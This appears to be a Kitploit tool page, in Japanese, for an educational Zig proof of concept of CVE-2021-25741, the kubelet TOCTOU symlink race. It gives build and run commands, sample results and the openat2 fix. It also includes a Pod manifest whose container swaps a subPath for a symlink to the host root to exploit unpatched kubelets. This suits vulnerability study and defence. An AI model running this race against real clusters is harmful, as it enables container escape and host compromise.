Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
ツール/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-25741 — Zig での TOCTOU シンボリックリンクレースエクスプロイト

Kubernetes kubelet の脆弱性である CVE-2021-25741 の原因となった TOCTOU(Time Of Check, Time Of Use)レースコンディションの教育的エクスプロイトです。

このプロジェクトは、ローカル(K8s クラスタなし)で、lstat() と open() の間のパス検証を、同時実行されるシンボリックリンクのスワップがどのように回避できるかを実証し、RESOLVE_* フラグを備えた openat2() が解決策であることを示します。

目次

  • 問題
  • エクスプロイトの仕組み
  • コードアーキテクチャ
  • 前提条件
  • ビルド
  • 使用方法
    • Docker によるローカルテスト
    • openat と openat2 の比較
    • TOCTOU 遅延を調整する
    • 実際の Kubernetes ノードでのテスト
  • 期待される結果
  • コードの解説
  • 使用する Linux システムコール
  • strace によるデバッグ
  • 参考文献

問題

Linux でのパス解決

カーネルが /a/b/c/file のようなパスを解決するとき、コンポーネントごとに解決します。各ステップで、コンポーネントがシンボリックリンクの場合、カーネルは自動的にそれを辿ります。この解決はアトミックではありません — 2 つのステップの間にファイルシステムが変更される可能性があります。

kubelet における TOCTOU

Kubernetes kubelet はまさにこの脆弱なパターンを使用していました:

root@kitploit:~
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
     ↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE   : mount(subPath) → suit le symlink, monte le filesystem host

検証とマウントの間に、コンテナ内の悪意のあるプロセスが subPath をホストの / へのシンボリックリンクに置き換えることができ、ホストのファイルシステムへの完全なアクセスを取得できました。

修正: openat2(2)

openat2 システムコール(カーネル 5.6+)は、パスを解決し、ファイルをアトミックに開きます。制約は次のとおりです:

openat2 ではTOCTOU ウィンドウはありません: 解決中にシンボリックリンクが現れた場合、システムコールは即座に失敗します。


エクスプロイトの仕組み

2 つのスレッドが連携して TOCTOU ウィンドウを悪用します:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contient "LEGIT"
├── symlink_target/
│   └── secret.txt  → contient "PWNED"
└── target/          → swappé entre vrai dir et symlink

レーサースレッド

超高速ループで回転し、renameat2(RENAME_EXCHANGE) を介して target/ を 2 つの状態間でアトミックにスワップします:

  • 状態 A: target/ は実際のディレクトリです(secret.txt = "LEGIT" を含む)
  • 状態 B: target/ は symlink_target/ へのシンボリックリンクです(secret.txt = "PWNED" を含む)

スワップごとに 1 つのシステムコール = 最大のレースウィンドウ。

被害者スレッド(kubelet をシミュレート)

kubelet の脆弱なパターンを再現します:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — ディレクトリであることを確認
  2. オプションの一時停止(チェックと使用の間の kubelet の遅延をシミュレート)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — ファイルを開く
  4. read() — 内容を読み取る
  5. 内容が "PWNED" の場合 → レース勝利(シンボリックリンクが辿られた)
  6. 内容が "LEGIT" の場合 → レース負け(実際のディレクトリだった)

保護モード(--use-openat2)では、ステップ 3 は RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH を指定した openat2 を使用します。シンボリックリンクが存在する場合、カーネルはそれを辿らずに ELOOP を返します。


コードアーキテクチャ

root@kitploit:~
src/
├── main.zig       # Point d'entrée : parse CLI, crée le shared state, spawn les
│                  # threads, mesure le temps, affiche les résultats
│
├── racer.zig      # Thread racer : prépare l'état initial (target → symlink),
│                  # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│                  # target/ et legit_dir/ en continu
│
├── victim.zig     # Thread victim : boucle N itérations de fstatat → delay →
│                  # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig      # Crée l'arborescence de test : workdir/, legit_dir/,
│                  # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig   # Constantes et wrappers pour les syscalls raw :
│                  # - open_how struct (kernel UAPI, 3×u64)
│                  # - RESOLVE_* flags
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig      # Compteurs atomiques lock-free (std.atomic.Value(u64))
                   # pour wins, losses, errors, eloop + affichage formaté

すべてのシステムコールは、std.os.linux.* を介して直接呼び出されます(std.fs や std.posix のラッパーは使用しません)。Zig 0.15 の stdlib にラッパーがない唯一のシステムコールは openat2 で、カーネルの UAPI ヘッダーから手動で定義した open_how 構造体を linux.syscall4(.openat2, ...) で呼び出します。


前提条件

ツールバージョン理由
Zig0.15.xコンパイラ + クロスコンパイル
Docker

バイナリは静的(musl libc)にコンパイルされており、依存関係なしで任意の Linux 上で動作します。

最小カーネル:

  • 3.15+: renameat2(RENAME_EXCHANGE) 用
  • 5.6+: RESOLVE_* 付きの openat2 用(--use-openat2 でのみ必要)

Mac の Docker Desktop と colima は 6.x カーネルを使用するため、すべてサポートされています。


ビルド

Mac → Linux のクロスコンパイル

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (pour des nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

バイナリは zig-out/bin/race-exploit にあります。

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

使用方法

Docker によるローカルテスト

root@kitploit:~
# Démarrer le runtime Docker (si macOS)
colima start

# Lancer l'exploit (mode vulnérable par défaut)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

openat と openat2 の比較

root@kitploit:~
# Mode vulnérable (openat) — la race fonctionne
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Mode protégé (openat2) — la race est bloquée
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

または、両方を起動するスクリプトを使用します:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

TOCTOU 遅延を調整する

--delay-us パラメータは、lstat(チェック)と openat(使用)の間に遅延を追加します。遅延が長いほど TOCTOU ウィンドウが広がり、勝率が上がります:

root@kitploit:~
# Sans délai — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (plafonné, le racer swap bien plus vite)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

実際の kubelet では、subPath の検証とバインドマウントの間の遅延は数ミリ秒程度(API 呼び出し、マウント名前空間の準備など)であり、実際の条件ではレースが非常に信頼性の高いものになります。

完全な CLI オプション

root@kitploit:~
race-exploit [options]
  --iterations N     Nombre de tentatives (défaut: 10000)
  --delay-us N       Microsecondes entre lstat et open (défaut: 0)
  --use-openat2      Utiliser openat2 avec RESOLVE_* (mode protégé)
  --workdir PATH     Répertoire de travail (défaut: /tmp/race-workdir)
  --help             Afficher l'aide

実際の Kubernetes ノードでのテスト

エクスプロイトは動作に Kubernetes を必要としません — これは基本的な Linux のレースコンディションです。ただし、実際のノードで実行して、kubelet と同じ条件下でテストすることができます。

オプション 1: ノード上で直接実行

root@kitploit:~
# Cross-compiler pour l'architecture du node
# ARM64 (EKS avec Graviton, GKE avec T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copier le binaire sur le node
scp zig-out/bin/race-exploit user@node:/tmp/

# Lancer sur le node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Vérifier la version du kernel (>= 5.6 pour openat2)
ssh user@node uname -r

オプション 2: Kubernetes Pod から実行

バイナリを組み込んで実行する Pod を作成します:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # le binaire doit être copié ici au préalable
  restartPolicy: Never
root@kitploit:~
# Copier le binaire sur le node d'abord
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Lancer le pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

オプション 3: subPath で実際の CVE を再現する

CVE-2021-25741 の正確なシナリオを再現するには、kubelet が subPath 付きボリュームのバインドマウントを準備している間にレースを悪用する必要があります:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Ce script tourne dans le container et swap le subPath
      # pendant que le kubelet prépare le mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← le kubelet vérifie puis monte ce chemin
  volumes:
  - name: shared-vol
    emptyDir: {}

重要: この攻撃は、パッチが適用されていない kubelet(バージョン < 1.22.2、< 1.21.5、< 1.20.11)でのみ機能します。最近の kubelet は、subPath を解決するために RESOLVE_NO_SYMLINKS を指定した openat2 を使用しています。

自分の kubelet が脆弱かどうかを確認するには:

root@kitploit:~
# Version du kubelet
kubectl get nodes -o wide

# Vérifier si openat2 est utilisé dans le kubelet (sur le node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

期待される結果

openat(脆弱)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2(保護)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

重要な観察結果:

  • 「total attempts」は要求された反復回数よりも少なくなります。これは、多くのループがスキップされるためです(lstat がシンボリックリンクを検出し、open を試行しない)
  • openat モードでは、試行の約 25% が勝利になります("PWNED" ファイルが読み取られる)
  • openat2 モードでは、勝利は 0% — レーサーがスワップしたすべての試行は、ELOOP を返すカーネルによって検出されます
  • ELOOP は openat モードの勝利と正確に対応します:同じ割合ですが、ブロックされています

コードの解説

syscalls.zig — 基本構成要素

このファイルは、Zig 0.15 の stdlib に不足している定数を定義しています:

root@kitploit:~
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permissions (si O_CREAT)
    resolve: u64 = 0, // RESOLVE_* flags
};

// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // interdit de remonter au-dessus du dirfd

openat2 は、Zig 0.15 にシステムコール番号はあるもののラッパーがないため、linux.syscall4(.openat2, ...) を介して呼び出されます。

racer.zig — 攻撃側スレッド

起動時に target/ を symlink_target/ へのシンボリックリンクに変換し、その後 target と legit_dir をスワップする 2 つの renameat2(RENAME_EXCHANGE) をループします:

root@kitploit:~
Itération 1: target=dir,     legit_dir=symlink  ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir      ← victim suit le symlink → PWNED

victim.zig — kubelet スレッド

lstat → delay → openat/openat2 → read → compare を再現します。結果はロックフリーのアトミックカウンタ(ordering .monotonic の fetchAdd)でカウントされます。

setup.zig — テスト構造体

mkdirat、openat(O_CREAT)、write を使ってツリー構造を作成します — すべて raw システムコールを介します。2 つのセンチネルファイル:実際のディレクトリに "LEGIT"、シンボリックリンクのターゲットに "PWNED"。


使用する Linux システムコール


strace によるデバッグ

root@kitploit:~
# Tracer tous les syscalls des deux threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filtrer les syscalls intéressants
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Voir les ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

注: strace は Alpine にデフォルトではインストールされていません。alpine:edge を使用するか、apk add strace でインストールしてください:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

参考文献

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — 修正
  • man 2 renameat2 — アトミックスワップ
  • man 2 fstatat — シンボリックリンクを辿らない lstat
  • Symlinks and path resolution — Star Lab

ZigRaceExploit

ツールをダウンロード
Flag効果
RESOLVE_NO_SYMLINKSすべてのシンボリックリンクの追跡を拒否 → ELOOP を返す
RESOLVE_BENEATHベースディレクトリの外に出ることを拒否 → EXDEV を返す
RESOLVE_IN_ROOTdirfd をファイルシステムのルートとして扱う
RESOLVE_NO_XDEVマウントポイントの横断を拒否
任意
Mac で Linux バイナリを実行するため
colima任意macOS 上の Docker ランタイム(または Docker Desktop)
システムコールエクスプロイトでの役割Zig ラッパー
renameat2(RENAME_EXCHANGE)target ↔ legit_dir のアトミックスワップlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: target がディレクトリかシンボリックリンクかを確認linux.fstatat()
openat(O_RDONLY)シンボリックリンクを辿ってファイルを開く(脆弱)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)シンボリックリンクを拒否してファイルを開く(修正)linux.syscall4(.openat2, ...)
symlinkat最初の target → symlink_target シンボリックリンクを作成linux.symlinkat()
unlinkattarget を削除してからシンボリックリンクとして再作成linux.unlinkat()
mkdiratテスト用ディレクトリを作成linux.mkdirat()
read / write / closeセンチネルファイルの IOlinux.read() / linux.write() / linux.close()